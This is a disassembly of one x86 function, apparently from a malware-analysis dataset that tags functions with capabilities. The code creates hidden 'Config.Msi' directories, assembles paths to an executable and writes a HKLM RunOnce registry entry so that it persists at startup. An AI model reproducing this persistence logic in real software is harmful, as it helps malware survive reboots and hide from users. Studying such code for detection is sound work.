Function at 0x4078f0
Capabilities:
Create directory
Delete file
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xaec
mov eax, dword [0x41f608]
mov edx, dword [0x418714]
mov dword [esp + 4], ecx
mov ecx, dword [0x418710]
mov dword [esp + 0xae8], eax
mov eax, dword [str.C:Config.Msi_]
mov dword [esp + 0x50], ecx
mov cl, byte [0x41871a]
mov dword [esp + 0x4c], eax
mov ax, word [0x418718]
mov byte [esp + 0x5a], cl
push ebx
push esi
push edi
mov word [esp + 0x64], ax
xor eax, eax
mov dword [esp + 0x60], edx
mov edx, dword [str.D:Config.Msi_]
mov ecx, 0x3d
lea edi, [esp + 0x67]
rep stosd dword es:[edi], eax
mov ecx, dword [0x418704]
stosb byte es:[edi], al
mov eax, dword [0x418700]
mov dword [esp + 0x164], eax
mov al, byte [0x41870a]
mov dword [esp + 0x168], ecx
mov dword [esp + 0x160], edx
mov dx, word [0x418708]
mov byte [esp + 0x16e], al
mov word [esp + 0x16c], dx
mov edx, dword [0x4186f0]
xor eax, eax
mov ecx, 0x3d
lea edi, [esp + 0x16f]
rep stosd dword es:[edi], eax
mov ecx, dword [str.5ce97.rbf.exe]
mov dword [esp + 0x14], ecx
mov cx, word [0x4186f8]
stosb byte es:[edi], al
mov eax, dword [0x4186f4]
mov word [esp + 0x20], cx
mov ecx, 0xc
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
lea edi, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x18], edx
push 0
lea edx, [esp + 0x5c]
movsw word es:[edi], word [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edx
mov dword [esp + 0x24], eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
lea eax, [esp + 0x5c]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.EVIL
lea ecx, [esp + 0x475]
push ecx
mov byte [esp + 0x270], 0x72
call esi
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x371]
push eax
call esi
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x371]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x268]
push eax
lea ecx, [esp + 0x544]
call fcn.00407c30
lea ecx, [esp + 0x540]
call fcn.00409510
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea ecx, [esp + 0x385]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x407abe
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x36d]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x371]
push eax
push 1
push str.debugger
lea ecx, [esp + 0x34]
push ecx
mov ecx, dword [esp + 0x24]
push 0x80000002
call fcn.0040abb0
test al, al
jne 0x407ba1
lea edx, [esp + 0x36d]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [esp + 0x164]
push eax
call edi
push 2
lea ecx, [esp + 0x164]
push ecx
call ebx
push str.EVIL
lea edx, [esp + 0x475]
push edx
mov byte [esp + 0x270], 0x72
call esi
lea eax, [esp + 0x160]
push eax
lea ecx, [esp + 0x371]
push ecx
call esi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x371]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x268]
push ecx
lea ecx, [esp + 0x81c]
call fcn.00407c30
lea ecx, [esp + 0x540]
call fcn.00409510
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [esp + 0x385]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x407bb6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x36d]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [esp + 0x371]
push ecx
mov ecx, dword [esp + 0x18]
push 1
push str.debugger
lea edx, [esp + 0x34]
push edx
push 0x80000002
call fcn.0040abb0
test al, al
je 0x407bb6
mov al, 1
mov ecx, dword [esp + 0xaf4]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x36d]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0xaf4]
xor al, al
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret